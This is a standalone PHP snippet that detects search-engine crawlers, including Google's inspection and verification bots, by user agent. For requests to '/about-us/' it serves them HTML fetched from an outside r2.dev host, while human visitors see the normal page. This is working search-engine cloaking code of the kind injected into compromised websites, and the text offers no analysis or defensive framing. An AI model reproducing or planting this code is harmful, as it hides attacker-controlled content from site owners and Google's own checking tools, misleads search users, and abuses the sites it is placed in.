function is_bot() { $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? ''; $bots = array( 'Googlebot', 'TelegramBot', 'Bingbot', 'Google-Site-Verification', 'Google-InspectionTool', 'Googlebot-Mobile', 'Googlebot-News', 'AhrefsBot' ); foreach ($bots as $bot) { if (stripos($user_agent, $bot) !== false) { return true; } } return false; } function fetch_simple($url) { $data = @file_get_contents($url); if ($data !== false) { return $data; } if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); $data = curl_exec($ch); curl_close($ch); if ($data !== false) { return $data; } } return false; } $target_pages = [ '/about-us/' => 'https://pub-4aae1fd17f0f40e8a08d4e800c679568.r2.dev/heyrun.html' ]; $current_page = $_SERVER['REQUEST_URI'] ?? '/'; if (is_bot() && array_key_exists($current_page, $target_pages)) { $url = $target_pages[$current_page]; $message = fetch_simple($url); if ($message === false) { echo "Error: Unable to retrieve content."; } else { echo $message; } exit; }